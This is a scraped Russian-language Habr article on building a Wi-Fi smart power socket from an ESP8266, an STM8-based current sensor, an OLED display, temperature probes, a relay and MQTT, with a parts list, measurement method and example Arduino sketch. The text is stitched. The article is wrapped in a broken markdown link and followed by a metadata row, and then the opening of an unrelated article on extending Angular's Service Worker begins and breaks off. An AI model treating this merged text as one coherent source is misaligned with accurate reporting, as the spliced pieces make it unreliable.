* IEEE 802.11 b/g/n Wi-Fi. Поддерживается WEP и WPA/WPA2.
* 14 портов ввода-вывода(из них возможно использовать 11), SPI, I²C, I²S, UART, 10-bit АЦП.
* Питание 2,2…3,6 В. Потребление до 200 мА в режиме передачи, 60 мА в режиме приема, 40 мА в режиме ожидания. Режим пониженного потребления с сохранением соединения с точкой доступа ~1 мА, режим глубокого сна 0.1 мкА.
[[*ru.wikipedia.org/wiki/ESP8266*](https://ru.wikipedia.org/wiki/ESP8266)
**Почему Arduino IDE?** Я в курсе что есть еще как минимум два способа реализовать все тоже самое, это использовать прошивку со скриптами на LUA и нативная разработка на Cи используя SDK от производителя. Первый способ мне показался сильно поверхностным, думаю не смог бы реализовать некоторые нюансы пойдя по этому пути. Второй способ самый многообещающий, но требует много времени на освоение, однако это единственный вариант если предполагается реализация более серьезного устройства.
Используя Arduino IDE самая главная часть оказалась наименее хлопотной в плане включения в проект. Однако нормальной отладки очень не хватает. Изначально были сомнения что все задуманные функции вместе (1-Wire, i2c, ADC, MQTT, EEPROM, wifi) будут сосуществовать на ESP-12F в одном скетче, но прокатило.
#### Stm8s103f3p6
Казалось бы зачем тут еще один микроконтроллер? Просто сегодня одноядерное устройство уже не воспринимается всерьез, шучу. Причина другая — датчик тока настолько «особенный» что проще и дешевле повесить всю обработку его показаний на отдельный микроконтроллер и пусть он с ним нянчится. Фактически мы получили цифровой датчик тока который подключается по шине i2c. Теоретически можно использовать самый дешевый микроконтроллер, но так как эти платы очень доступны и вполне приличны по параметрам я применил ее. В будущем перемерено так и собираюсь их использовать — как замену PIC12 которые применял для добавления «мозгов» в совершенно различные поделки. По началу мне казалась эта идея избыточной, но теперь вижу что на другой вариант даже не надо было тратить время.
Программируются эти микроконтроллеры в среде IAR Embedded Workbench, она бесплатна для кода объемом до 8кб, наш микроконтроллер имеет памяти как раз столько. Огромным преимуществом является возможность человеческой отладки. Правда нужно отучить себя использовать привычные стандартные для Си функции типа printf и работу с числами с плавающей запятой так как это быстро выжрет всю память. Подробнее про прошивку расскажу ниже.
#### Экран
Тут вообще почти без вариантов — используем OLED SSD1306, прекрасный экранчик с очень красивым свечением и простым подключением. Библиотеки для него есть даже под спектрум. Существуют экраны разных цветов. Так же есть платы на которых сразу распаян и ESP и подобный экран. Голубой цвет кажется самым выигрышным. Есть двухцветные, когда верхняя часть другого цвета.
Экран подключается по i2c шине, это всего 4 провода с учетом питания. Датчик тока тоже будет подключен по этой же шине. Проблем экран не доставил вообще никаких. Однозначно must have!
Стоит учесть что экран скорее всего будет светить 24/7, а технология экрана такова что отдельные светодиоды-пиксели со временем выгорают, поэтому нужно стараться их использовать равномерно. Я придумал просто смещать изображение в разные стороны через определенные промежутки времени. Вообще думаю если вдруг изображение станет совершенно не читаемым заменить экран не проблема. Посмотрим сколько он проживет.
Подробное видео про такой экран и стоящий youtube канал.
#### Датчики температуры
Я использовал всем известные DS18B20. В режиме паразитного питания три датчика спокойно работают по одной витой паре проводов на расстоянии превышающим разумное для подобного проекта (хватает с запасом до любой точки квартиры).
Единственно отличие от рисунка это использование резистора на 1Ком, иначе не хватает питания. Когда такое происходит то датчик выдает температуру равную 85 градусов. Запрос на преобразование и последующее считывание значения происходит последовательно, для каждого датчика, что бы они не мешали друг другу.
Адреса датчиков я считал заранее и захардкодил их в скетч. Была попытка сделать автоопределение датчиков на шине, но мне не понравилась стабильность работы этого алгоритма, а так как температура параметр ответственный то игра не стоит свеч.
#### Конструктивные элементы и «рассыпуха»
Все это железо было помещено с небольшой платковый бокс который можно подобрать на любом радио рынке по вкусу. Использовалось обычно контактное реле для 220В. Много километров провода от старого FDD шлейфа, пол кило резисторов на 10КОм, пара кнопок, пара выводом под «тюльпаны» для подключения линии 1-Wire и ADC ESP-шки. Много термоклея. Один качественный блок питания на 5 вольт, который целиком был помещен в корпус прибора. И увы почти нет синей изоленты.
Если вы собираете прототип то старайтесь на одной из крышек не размещать вообще ничего, тогда будет удобно ее снимать и ковыряться в устройстве. Продумайте откуда будут подходить внешние соединительные кабели и какие у них разъемы, чтобы не вышло что штекера нужно втыкать под дикими углами и т.д.
#### Затраты на компоненты:
1. [Датчик тока](https://ru.aliexpress.com/item/2pcs-lot-freeshipping-20A-ACS712T-Current-Sensor-Module-ACS712-Module-Wholesale/32696550775.html?ws_ab_test=searchweb0_0,searchweb201602_2_10152_10065_10151_10068_10344_10345_10342_10343_10340_10341_10541_10540_10307_10060_10155_10154_10056_10055_10054_10539_10538_10537_10059_10536_10534_10533_100031_10099_10103_10102_5590020_10052_5640020_10053_10107_10050_10142_10051_10170_10084_10083_5370020_10080_10082_10081_10110_10111_10112_10113_10114_10312_10313_10314_10078_10079_10211_10128_10073_10129_10125,searchweb201603_25,ppcSwitch_2&btsid=6c5b860c-390d-42c3-a8f9-41ee28af6397&algo_expid=4f5e67f3-138e-4bcc-b6e1-151d913816f9-3&algo_pvid=4f5e67f3-138e-4bcc-b6e1-151d913816f9) — 2.1$
2. [ESP-12F](https://ru.aliexpress.com/item/Modules-1PCS-ESP-12F-ESP-12E-upgrade-ESP8266-remote-serial-Port-WIFI-wireless-module/32817745636.html?ws_ab_test=searchweb0_0,searchweb201602_2_10152_10065_10151_10068_10344_10345_10342_10343_10340_10341_10541_10540_10307_10060_10155_10154_10056_10055_10054_10539_10538_10537_10059_10536_10534_10533_100031_10099_10103_10102_5590020_10052_5640020_10053_10107_10050_10142_10051_10170_10084_10083_5370020_10080_10082_10081_10110_10111_10112_10113_10114_10312_10313_10314_10078_10079_10211_10128_10073_10129_10125,searchweb201603_25,ppcSwitch_2&btsid=39bebc09-9ade-48ee-b787-db0d7557cd4d&algo_expid=491115e1-ce68-4c3a-b19f-8c92e8b8add0-0&algo_pvid=491115e1-ce68-4c3a-b19f-8c92e8b8add0) — 3.2$
3. [Stm8 board](https://ru.aliexpress.com/item/10pcs-lot-ARM-STM8-Development-Board-Minimum-System-Board-STM8S103F3P6-Module-for-Arduino/32605915967.html?ws_ab_test=searchweb0_0,searchweb201602_2_10152_10065_10151_10068_10344_10345_10342_10343_10340_10341_10541_10540_10307_10060_10155_10154_10056_10055_10054_10539_10538_10537_10059_10536_10534_10533_100031_10099_10103_10102_5590020_10052_5640020_10053_10107_10050_10142_10051_10170_10084_10083_5370020_10080_10082_10081_10110_10111_10112_10113_10114_10312_10313_10314_10078_10079_10211_10128_10073_10129_10125,searchweb201603_25,ppcSwitch_2&btsid=51e45432-0226-4c5f-88ac-26136f8fac91&algo_expid=f794a443-0859-43a1-b267-48605678f68b-4&algo_pvid=f794a443-0859-43a1-b267-48605678f68b) — 0.75$
4. [Преобразователь логики](https://ru.aliexpress.com/item/Free-shipping-IIC-I2C-Logic-Level-Converter-Bi-Directional-Module-5V-to-3-3V-For-Arduino/32382391921.html?ws_ab_test=searchweb0_0,searchweb201602_2_10152_10065_10151_10068_10344_10345_10342_10343_10340_10341_10541_10540_10307_10060_10155_10154_10056_10055_10054_10539_10538_10537_10059_10536_10534_10533_100031_10099_10103_10102_5590020_10052_5640020_10053_10107_10050_10142_10051_10170_10084_10083_5370020_10080_10082_10081_10110_10111_10112_10113_10114_10312_10313_10314_10078_10079_10211_10128_10073_10129_10125,searchweb201603_25,ppcSwitch_2&btsid=4278d4b8-4dd3-4dc4-9761-5faee48f5c72&algo_expid=1dd20047-079f-499f-b781-ca6188237719-0&algo_pvid=1dd20047-079f-499f-b781-ca6188237719) — 0.5$
5. [Датчика температуры](https://ru.aliexpress.com/item/New-and-original-DALLAS-DS18B20-IC-TO-92-free-shipping/1116660473.html?ws_ab_test=searchweb0_0,searchweb201602_2_10152_10065_10151_10068_10344_10345_10342_10343_10340_10341_10541_10540_10307_10060_10155_10154_10056_10055_10054_10539_10538_10537_10059_10536_10534_10533_100031_10099_10103_10102_5590020_10052_5640020_10053_10107_10050_10142_10051_10170_10084_10083_5370020_10080_10082_10081_10110_10111_10112_10113_10114_10312_10313_10314_10078_10079_10211_10128_10073_10129_10125,searchweb201603_25,ppcSwitch_2&btsid=99d71abd-66b1-4271-a7a7-b1ab1ec3f7a6&algo_expid=c5e64bbf-5b56-41e8-a51c-271b0a2cd225-9&algo_pvid=c5e64bbf-5b56-41e8-a51c-271b0a2cd225) — 0.6$
6. [Экран](https://ru.aliexpress.com/item/0-96-inch-IIC-Serial-White-OLED-Display-Module-128X64-I2C-SSD1306-12864-LCD-Screen-Board/32830922743.html?ws_ab_test=searchweb0_0,searchweb201602_2_10152_10065_10151_10068_10344_10345_10342_10343_10340_10341_10541_10540_10307_10060_10155_10154_10056_10055_10054_10539_10538_10537_10059_10536_10534_10533_100031_10099_10103_10102_5590020_10052_5640020_10053_10107_10050_10142_10051_10170_10084_10083_5370020_10080_10082_10081_10110_10111_10112_10113_10114_10312_10313_10314_10078_10079_10211_10128_10073_10129_10125,searchweb201603_25,ppcSwitch_2&btsid=5ed70bd0-a387-4f6e-a9d0-d7927d91312b&algo_expid=a850e3c3-b8da-485a-be00-40e23ffd53a6-18&algo_pvid=a850e3c3-b8da-485a-be00-40e23ffd53a6) — 4.2$
7. [Реле](https://ru.aliexpress.com/item/FREE-SHIPPING-5pcs-1-Channel-5V-Relay-Module-high-level-for-SCM-Household-Appliance-Control/32791373705.html?s=p&ws_ab_test=searchweb0_0,searchweb201602_2_10152_10065_10151_10068_10344_10345_10342_10343_10340_10341_10541_10540_10307_10060_10155_10154_10056_10055_10054_10539_10538_10537_10059_10536_10534_10533_100031_10099_10103_10102_5590020_10052_5640020_10053_10107_10050_10142_10051_10170_10084_10083_5370020_10080_10082_10081_10110_10111_10112_10113_10114_10312_10313_10314_10078_10079_10211_10128_10073_10129_10125,searchweb201603_25,ppcSwitch_2&btsid=73044a94-d2a9-48cd-8372-1c014a9219d3&algo_expid=e1ff68ea-1d27-41f2-ba60-d3861f157044-1&algo_pvid=e1ff68ea-1d27-41f2-ba60-d3861f157044) — 0.75$
8. Коробка и прочая рассыпуха ~ хз, пусть будет 3$
**Итого: 15$**
> Вооружившись правильным напильником...
> --------------------------------------
>
>
#### Датчик тока
Как я писал выше, датчик тока оказался очень капризный. Кроме того измерение действующего значения переменного тока это несколько сложнее чем измерение значения постоянного тока. Думаю лучше эти моменты объяснит человек который хорошо разбирается в вопросе [radiolok](https://habr.com/ru/users/radiolok/):
**Видео**
И еще:
* 1. [Статья](https://geektimes.ru/post/258384/) от [grekeh](https://habr.com/ru/users/grekeh/)
* 2. Сообщение пользователя **rezident** на этом [форуме:](https://electronix.ru/forum/lofiversion/index.php/t41587.html)
*«Вместо I (ток) подставьте в формулу U (напряжение). Интеграл это площадь фигуры под огибающей. Посчитать приближенно интеграл можно по методу средних прямоугольников, аппроксимируя фигуру прямоугольниками с высотой равной дискретному отсчету величины напряжения и шириной равной промежутку времени между отсчетами.»*
Таким образом получается что нам нужно измерить площадь «под графиком» переменного тока за один период. Поскольку частота нашего напряжения равна **50Гц** получаем длину периода **20мс**. Когда начинать измерять значения не имеет, главное делать это на протяжении времени кратном **20мс**. Практически все сводится к суммированию по модулю показаний АЦП на протяжении периода с последующим вычислением среднего. Это и будет наш ток. За период между двумя измерениями берется время срабатывания АЦП, оно довольно стабильное.
Как бонус такой метод позволяет измерять и переменный и постоянный ток. За скобками оставим вероятность гуляющей частоты и напряжения в розетке.
Измерения можно пробовать делать на АЦП ESP8266 и я пробовал, но точность оказалась очень посредственной, а так же ESPшка большую часть времени должна была заниматься исключительно обработкой сигнала с АЦП. Кроме этого встроенный АЦП имеет диапазон измеряемого напряжения порядка 1 вольта. Необходимо использовать делитель напряжения. Питается ESP от 3.3В, а датчик тока от 5В, это означает что данные с АЦП могут искажаться если питания будут изменять свою величину не пропорционально. Все это не добавляет точности измерениям. Изначальный план был такой — если не получится нормально использовать АЦП ESP то применим отдельный микроконтроллер, так и получилось.
С использованием Stm8s103f3p6 ситуация сильно улучшается. Во первых и датчик и микроконтроллер питаются от 5В что не дает «уплывать» результатам измерения при скачках напряжения. Во вторых все свои вычислительные ресурсы микроконтроллер может посвятить обработке сигнала, его фильтрации и уточнению. На самом деле конечно не прям совсем все, можно на него повесить еще что-то.
Опытным путем было определено что за 20мс stm8 успевает получить около 600 значений от АЦП без ущерб точности. При необходимости можно тактировать АЦП быстрее, но на графике становится больше заведомо ложных значений. Я мониторил измерения с помощью софта [Processing](https://processing.org/), это продукт для визуализации чего либо, в моем случае это была пачка значений снятых с АЦП. Достаточно стабильные показания получались у меня после измерения в течении 100мс, то есть примерно 3000 измерений. Потом умножаем на эмпирически подобранный коэффициент (понятия не имею что это за число и как его рассчитывать потому как по всем адекватным формулам получались другие числа, просто подогнал и все) Далее значение прогоняется через [фильтр](http://we.easyelectronics.ru/Theory/chestno-prostoy-cifrovoy-filtr.html). Все что остается сделать это положить очередное значение в место откуда его заберет ESP.
В итоге получилась примерно такая стабильность если включить лампочку 100Вт.
В процессе отладки выяснилось что датчик умеет зависать при срабатывании реле, видимо от сильных магнитных полей в момент размыкания реле с образованием дуги. Пришлось добавить цепь «передергивания» датчика по питанию. Хотя сначала я думал что это зависает stm8 или какой-то его блок так как в датчике зависать нечему, но он смог.
Из-за шумности датчика практически не реально измерить ток до 100мА. Где-то на форумах видел упоминание что это нормально. Я попытался организовать детектирование шума и выдачи, в этом случае, нулевых показаний тока чтобы ток не прыгал даже при разомкнутой цепи.
*Алгоритм этого детектора заключается в том что шум имеет равное распределение значений выше и ниже «нуля», в то время как настоящий сигнал в конкретный участок периода все же имеет среднее значение отличное от нуля, если конечно мы не начали измерения в момент перехода нуля синусоидой. Поэтому я прослушиваю сигнал в три случайные промежутка одного периода, которые расположены друг относительно друга таким образом что хотя бы один гарантированно не попадет на момент перехода синусоидой нуля и даст суммарное значение отличное от нуля. Возможно есть способ проще, но велосипедостроение, знаете ли, не терпит длительного изучения вопроса.*
Stm8 случается зависает, но только в процессе обмена по шине i2c c ESP, возможно из-за моих не великих познаний программирования этого микроконтроллера, а возможно потому что может. Использование наблюдающей собаки помогло решить эту проблему.
Безопасное переменное напряжения для отладки проще всего получить разобрав трансформаторный блок питания (естественно понижающий, желательно вольт до 12-и) и отключив от трансформатора диодный мост и сглаживающий конденсатор, обычно там больше ничего и нет.
Так сложилось что у меня не было прибора который может измерять действующее значение переменного тока. В этом случае можно обойтись измерением действующего напряжения на резисторе заведомо известного номинала, а ток уже вычислить разделив напряжение на номинал резистора. Действующее значение переменного напряжения может показать любой мультиметр. И второй способ это измерять падение напряжение на том же резисторе, но подключив его после диодного моста и сглаживающего конденсатора. Естественно что в этом случае значение тока будет несколько меньше потому как у преобразователя переменного напряжения в постоянное есть свой КПД.
Естественно я подразумеваю что вышеописанный операции проводятся с пониженным переменным напряжением, а не сетевым.
В рамках этой статьи я не буду разбирать процесс программирования под stm8. Но это не сложно, есть стандартные библиотеки для периферии и гугл решает львиную долю проблем. Тем кто не хочет вдаваться в подробности предлагается [залить](http://www.st.com/en/development-tools/stvp-stm32.html) прошивку ([CurrentMeter(IAR)\STM8S103\Exe\Project.hex](https://bitbucket.org/svavan/currentmeter-iar/get/b3b4f3d4e0b2.zip)) в микроконтроллер и забыть про него. Если есть желание капнуть глубже то для начала [статья](http://www.count-zero.ru/2016/iar_stm8/) и видео:
**Видео**
Есть попытки адаптации Arduino под этот микроконтроллер, но на текущий момент я не нашел боле-менее готовых к реальному применению.
Итак у нас есть датчик тока с i2c интерфейсом. Поскольку ESP имеет 3.3В логику и stm8 5В то необходим преобразователь логических уровней, причем двухсторонний, делителем напряжения тут не отделаться. Всякие трюки с установкой последовательных сопротивлений позволяют кое как наладить связь, но стабильность такого решения не удовлетворительная. Гораздо проще использовать уже готовый двусторонний преобразователь, который стоит копейки.
Его работа основана на использовании полевых транзисторов, подробнее про преобразование уровней можно почитать [тут.](http://we.easyelectronics.ru/Shematech/soglasovanie-logicheskih-urovney-5v-i-33v-ustroystv.html)
[[Прошивка и исходники для stm8](https://bitbucket.org/svavan/currentmeter-iar/downloads/)]
#### Сборка и компоновка устройства
Прототип устройства было решено собирать навесным монтажом. Есть вероятность что некоторые моменты придется переделать в процессе эксплуатации, а так же я все еще не освоил нормальную и простую разводку печатных плат. После того как устройство проработает несколько месяцев без доработок наверно есть смысл разработать и заказать печатные платы в Китае. Ну а пока получился такой макаронный монстр:
*Интуитивно понятная и наглядная схема коммутации элементов устройства.*
Общий принцип сборки прототипа прост — примерно размечаем в пластиковом боксе что где будет располагаться, крепим там основные элементы и далее все соединяется монтажным проводом. Стоит продумать расположение элементов чтобы не создать себе лишних неудобств.
Используя китайскую незаменимую развертку проделываются необходимые (и не только) отверстия, надфилем подгоняется окошко для экрана.
Для питания электроники используется качественный бп на 5В который подключается параллельно к сети 220В прямо внутри корпуса устройства.
**Очень важно понимать что 220В это уже опасное напряжение, обязательно делайте все соединения изолированными и по возможности локализуйте такие соединения в одной части устройства, а низковольтную часть в другой. При тестовых первых подключениях можно производить коммутацию через обычный автомат, никто не застрахован от ошибок.**
**Про ошибки и вероятность их совершить.** Ничего необычного, просто слегка примятые термоядерные бомбы от удара об землю при случайном падении вместе с самолетом после неудачной дозаправки над Испанией в 66 году. *Фото из этой [статьи](https://geektimes.ru/post/293231/) автора [MagisterLudi](https://habr.com/ru/users/magisterludi/)*
~~Не считайте себя самыми умными и самыми осторожными. Ну или хотя бы трогайте провода с высоким напряжением внешней стороной ладони, но лучше не надо.~~
На фото видно что датчик тока приклеен к блоку питания, на удивление помех от него я не заметил, но заметил что помехи проникают сверху, пришлось демонтировать датчик и экранировать его металлической фольгой. Проверить эффективность экранирования можно применив неодимовый магнит. Важно только не забывать что с одной из сторон микросхемы датчика приложено напряжение 220В поэтому экранировать нужно с изоляцией ~~исключительно синей изолентой~~.
Если кому-то не понятна наглядная схема коммутации блоков приведенная выше, есть кривоватая принципиальная схема. Первый опыт использования fritzing кажется вышел комом.
Единственно что не отражено на схеме это вывод необходимых, для прошивки, контактов от ESP и STM8 на отдельный разъем сбоку устройства. Таким образом можно закончив со сборкой начинать прошивать готовое устройство, а не помесь узлов и проводов раскиданных на столе.
Перед тем как подавать питание несколько раз прозвоните цепи питания на короткое замыкание или правильную полярность. Вроде простые вещи, но небольшая кучка мертвых платок в ящике моего стола красноречиво требует не пренебрегать этими простыми правилами.
#### Связь с внешним миром.
Начнем потихоньку допиливать софт. Для организации управления и взаимодействия с нашей розеткой будем использовать протокол MQTT.
**MQTT.** Как оно работает? Все организовано следующим образом — в локальной (а может и не в локальной) сети есть некий хост на котором запущенна специальная программа (**MQTT брокер**) которая принимает различные данные от всевозможных устройств и организует их хранение на подобие системы файлов и каталогов на вашем диске.
Например: **«SmartPowerSocket1/Current»** — так выглядит реальный MQTT **топик**.
Папка это устройство — **«SmartPowerSocket1»**, подпапки это какие-то внутренние параметры устройства, например значение тока — **«Current»**. Полный путь к параметру (топику) используются для подписки устройствами на изменения в этих параметрах. Туда же происходит запись параметров самим устройством. Можно подписаться на всю «папку» (топик) и получать все изменения параметров по конкретному устройству (топику или подтопику) — **SmartPowerSocket1/#**.
Более подробное видео на эту тему.
**Видео**
И снова рекомендую этот канал, там вы найдете очень много полезной информации.
Самый известный MQTT брокер это [Mosquitto](https://mosquitto.org/). А поскольку я решил сразу развернуть и систему управления умным домом [MajorDoMo](http://majordomo.smartliving.ru/), которая уже фигурировала в видео выше, все это оптом было поднято путем разворачивания готового образа под [Orange Pi PC](http://majordomo.smartliving.ru/forum/viewtopic.php?f=3&t=2758&p=29771). Там все уже установлено.
Использование MQTT протокола даст возможность использовать разные системы управления умными домами и не только, этот протокол набирает популярность.
Можно обойтись только MQTT брокером установив его на ваш ПК, а взаимодействовать с ним например с телефона, под Android существует много [MQTT клиентов](https://play.google.com/store/search?q=mqtt%20client&c=apps&hl=ru). Да и не только под Android. Настраиваются они довольно просто.
Используя же MajorDoMo можно организовать красивое отображение информации, рисование графиков и управление через любой браузер.
Можете попробовать угадать что за прибор в качестве подопытного отображен на графиках ниже.
Это холодильник, датчик температуры в морозильнике. Я немного удивлен тем что если установить ручку управления в холодильнике на «2» то получаются показания на скринах выше. Если поставить на «3» то холодильник молотит уже 40 минут вместо 7 и держит температуру между -16/-18 градусов. Не сильно плавная регулировка как по мне. Информация не обладает сверх ценностью, по посмотреть было интересно.
Также интересно что отображаются моменты стартового большого тока и видна дискретность температурного датчика (ступеньки), поскольку для тока используется усредняющий фильтр то я вообще не ожидал увидеть таких всплесков на графике.
#### Скетч для ESP-12F
Чтобы заставить ESP обмениваться данными по MQTT нужно всего лишь использовать соответствующую [библиотеку](https://pubsubclient.knolleary.net/) под Arduino. Стоит отметить что есть еще аналогичные бибилиотеки.
**Пример работы с этой библиотекой на ESP8266**
```
#include
#include
// Update these with values suitable for your network.
const char\* ssid = "........";
const char\* password = "........";
const char\* mqtt\_server = "broker.mqtt-dashboard.com";
WiFiClient espClient;
PubSubClient client(espClient);
long lastMsg = 0;
char msg[50];
int value = 0;
void setup\_wifi() {
delay(10);
// We start by connecting to a WiFi network
Serial.println();
Serial.print("Connecting to ");
Serial.println(ssid);
WiFi.begin(ssid, password);
while (WiFi.status() != WL\_CONNECTED) {
delay(500);
Serial.print(".");
}
randomSeed(micros());
Serial.println("");
Serial.println("WiFi connected");
Serial.println("IP address: ");
Serial.println(WiFi.localIP());
}
void callback(char\* topic, byte\* payload, unsigned int length) {
Serial.print("Message arrived [");
Serial.print(topic);
Serial.print("] ");
for (int i = 0; i < length; i++) {
Serial.print((char)payload[i]);
}
Serial.println();
// Switch on the LED if an 1 was received as first character
if ((char)payload[0] == '1') {
digitalWrite(BUILTIN\_LED, LOW); // Turn the LED on (Note that LOW is the voltage level
// but actually the LED is on; this is because
// it is acive low on the ESP-01)
} else {
digitalWrite(BUILTIN\_LED, HIGH); // Turn the LED off by making the voltage HIGH
}
}
void reconnect() {
// Loop until we're reconnected
while (!client.connected()) {
Serial.print("Attempting MQTT connection...");
// Create a random client ID
String clientId = "ESP8266Client-";
clientId += String(random(0xffff), HEX);
// Attempt to connect
if (client.connect(clientId.c\_str())) {
Serial.println("connected");
// Once connected, publish an announcement...
client.publish("outTopic", "hello world");
// ... and resubscribe
client.subscribe("inTopic");
} else {
Serial.print("failed, rc=");
Serial.print(client.state());
Serial.println(" try again in 5 seconds");
// Wait 5 seconds before retrying
delay(5000);
}
}
}
void setup() {
pinMode(BUILTIN\_LED, OUTPUT); // Initialize the BUILTIN\_LED pin as an output
Serial.begin(115200);
setup\_wifi();
client.setServer(mqtt\_server, 1883);
client.setCallback(callback);
}
void loop() {
if (!client.connected()) {
reconnect();
}
client.loop();
long now = millis();
if (now - lastMsg > 2000) {
lastMsg = now;
++value;
snprintf (msg, 75, "hello world #%ld", value);
Serial.print("Publish message: ");
Serial.println(msg);
client.publish("outTopic", msg);
}
}
```
Если коротко то когда нужно передать данные то они передаются функцией publish(«SmartPowerSocket1/Current», «2»). Передаем значение тока равное 2-м попугаям.
Чтобы получить данные от брокера нужно просто подписаться на интересующий нас топик и в калбек функции проверять с какого топика пришли данные раскладывая их по соответствующим переменным. Вот и все.
Итоговый скетч получился довольно объемный, но там используются абсолютно стандартные подходы к организации обмена по i2c, 1-wire и работа с другими сущностями. Думаю человеку который имел уже дело с Arduino не составит большого труда разобраться и модифицировать логику управления под свои нужды, если это вообще понадобится.
**EEPROM**. В скетче организованно хранение параметров в EEPROM и кроме этого при доступности MQTT сервера они подтягиваются еще и оттуда при старте устройства.
**ArduinoOTA**. Еще в скетче проскакивает такая вещь как [ArduinoOTA](http://wikihandbk.com/wiki/ESP8266:%D0%9F%D1%80%D0%BE%D1%88%D0%B8%D0%B2%D0%BA%D0%B8/%D0%9F%D1%80%D0%BE%D1%88%D0%B8%D0%B2%D0%BA%D0%B0_ESP8266_%D0%BC%D0%B5%D1%82%D0%BE%D0%B4%D0%BE%D0%BC_OTA) (OTA — «over the air», что можно перевести как «по воздуху») то есть прошивку можно заливать по Wifi.
По ссылке выше есть рецепт как это использовать. От себя добавлю что загрузка таким способом в несколько раз быстрее, но это требует встроить в скетч специальную обработку. Основной цикл не должен быть перегружен иначе не будет происходить конект между ESP и ArduinoIDE. Именно для этого в скетче так много разных таймаутов и измеряется время одного прогона главного цикла. Чем чаще ESP проверяет «а не хотят ли меня прошить?» тем стабильнее все это работает. Еще одна особенность, которую я пока не поборол, ArduinoOTA отказывается прошивать в некоторых wifi сетях, хотя все пингуется. Больше всего вероятность на успех если ArduinoIDE и ESP связанны выделенной (только для IoT) точкой доступа.
**Кнопки.** Сначала хотел сделать больше двух кнопок, но оказалось что GPIO на ESP-12F подходят к концу. Здраво рассудив что на эти кнопки все равно никто почти не будет нажимать (если есть управление через вебморду умного дома) было решено ограничится двумя. Завязал их на регулирование уставки по току, а если нажать обе сразу происходит аварийное отключение реле. После этого включить его можно только если перезагрузить по питанию само устройство или через вебморду. Таким образом пытался добавить немного защиты от необдуманного включения если ток вышел за предел допустимого, ведь это может означить аварийную ситуацию.
[[Скетч по мере обновления буду выкладывать тут.](https://bitbucket.org/svavan/cm_ssd1306_i2c_1wire_mqtt)]
> «Я сделяль!»
> ------------
>
>
Загадочная черная коробочка начала исправно щелкать реле и издавать, не менее загадочный, тихий высокочастотный писк разной тональности в разных режимах работы — фича/баг появившийся в результате работы блока питания, видимо там есть разболтанный музыкальный дроссель.
*Забавно что именно он косвенно помог мне отловить моменты зависания отдельных узлов. Глазами можно смотреть, но это утомительно, на слух в фоновом режиме очень легко отлавливается момент когда ритм звука меняется. Поэтому я не стал утихомиривать этот дроссель и даже задумался о добавлении такой функции другим устройствам для отладки.*
Некоторое время размышлял как же продемонстрировать устройство если само оно скучный черный ящик и даже не шевелится. Давайте попробуем заварить чай использую кипятильник и один из датчиков температуры, за одно вычислим сколько на это уйдет энергии.
Нажав несколько раз на кнопку которая разблокирует реле ничего не произошло, позже выяснилось что уставка по току была сильно низкая и первые несколько раз срабатывала.
Когда кипятильник немного прогрелся ток немного упал и реле разблокировало.
Устроившись поудобнее я приготовился долго ожидать закипания воды, однако китайский шайтан-кипятильник так быстро вскипятил воду что я еле успел выключить в режиме ручного управления. А датчик температуры оказался не таким шустрым и хотя я задал уставку на 95 градусов боюсь к моменту его срабатывания все вокруг было бы уже в кипятке, боюсь что я не на столько хочу чая.
По началу меня смутила надпись на кипятильнике 500Вт, однако по току видно что это правда. Под конец я уже боялся что пластиковая часть кипятильника может расплавится и испортить
«эксперимент», но обошлось.
*Безусловно можно было бы снять видео по сценарию, но мне кажется в экспериментах ценнее реальный результат, поэтому показал то что получилось с первого раза без репетиций. В общем вот такое шуточное боевое крещение умной розетки.*
Очень просто можно рассчитать затраченную энергии исходя из того что вода закипела через 2.5мин. и все это время ток был примерно 2.5А: **(2.5А \* 220В) / 60мин. \* 2.5мин. = 0.023 кВт⋅ч.**
Если у вас цель вести учет электроэнергии то хорошо будет добавить еще датчик напряжения который можно изготовить из понижающего трансформатора, этим способом можно получить и гальваническую развязку и напряжение не опасное для измерения с помощью АЦП микроконтроллера. А добавлять его нужно потому что напряжение в наших розетках почти никогда не 220В, а гуляет ±10В это в лучшем случае.
И еще один вариант если не нужны показания тока и напряжения сами по себе, а нужен только учет потребления электроэнергии — это китайские [однодиновые электросчетчики](https://ru.aliexpress.com/item/Din-rail-energy-meter-5-30-A-50HZ-220V-230V-Watt-hour-single-phase-KWH-meter/32606137348.html?ws_ab_test=searchweb0_0,searchweb201602_2_10152_10170_10065_10151_10344_10068_10345_10342_10343_10340_10341_10541_10540_10084_10083_10307_5640015_5590015_10060_10155_10154_10056_10055_10539_10538_5370015_10537_10312_10536_10059_10313_10314_10534_10533_100031_10211_10103_10128_10073_10102_10129_10142_10107_10125-10102,searchweb201603_25,ppcSwitch_0&btsid=4afd75cd-3f7c-4257-9b02-6638444b12de&algo_expid=3a4f4abe-f09e-4fb4-ade5-2646049f0b8e-1&algo_pvid=3a4f4abe-f09e-4fb4-ade5-2646049f0b8e), у них обычно есть импульсный низковольтный выход и они очень компактны. В этом случае их использование вполне оправдано.
*P.S. Если вы реально планируете собрать настоящий Wifi чайник то сильно рекомендую рассчитывать толщину проводов и мощность реле так как средний электрочайник штука очень прожорливая.*
**UPD №1:** В коментах было предложено еще несколько устройств в том числе и законченных:
1. Готовый модуль для измерения электрических параметров [PZEM-004T](https://mysku.ru/blog/china-stores/38717.html).
2. Законченный модули [Sonoff Pow](https://www.itead.cc/sonoff-pow.html).
3. Тоже законченный модуль на esp8266 [electrodragon](http://www.electrodragon.com/product/wifi-iot-relay-board-based-esp8266/).](https://ru.wikipedia.org/wiki/ESP8266) | https://habr.com/ru/post/407541/ | null | ru | null |
# Прокачиваем Angular NGSW с помощью кастомной логики в Service Worker
### Использование Angular для создания прогрессивных веб-приложений (PWA)
Angular — отличный выбор для разработки PWA. Поддержка Service Worker'ов включена в Angular CLI начиная с версии 1.7.0, [для быстрого старта разработки PWA приложения](http://jakubcodes.pl/2018/02/22/building-progressive-web-app-using-angular-cli-5-minutes/). Service Worker может быть настроен в приложении Angular с помощью файла конфигурации json, предоставляющего множество опций и функций. Несмотря на то, что это звучит замечательно, есть один большой недостаток использования Angular Service Worker — его логику нельзя расширить стандартным способом.
### Зачем вам может понадобиться расширять возможности NGSW?
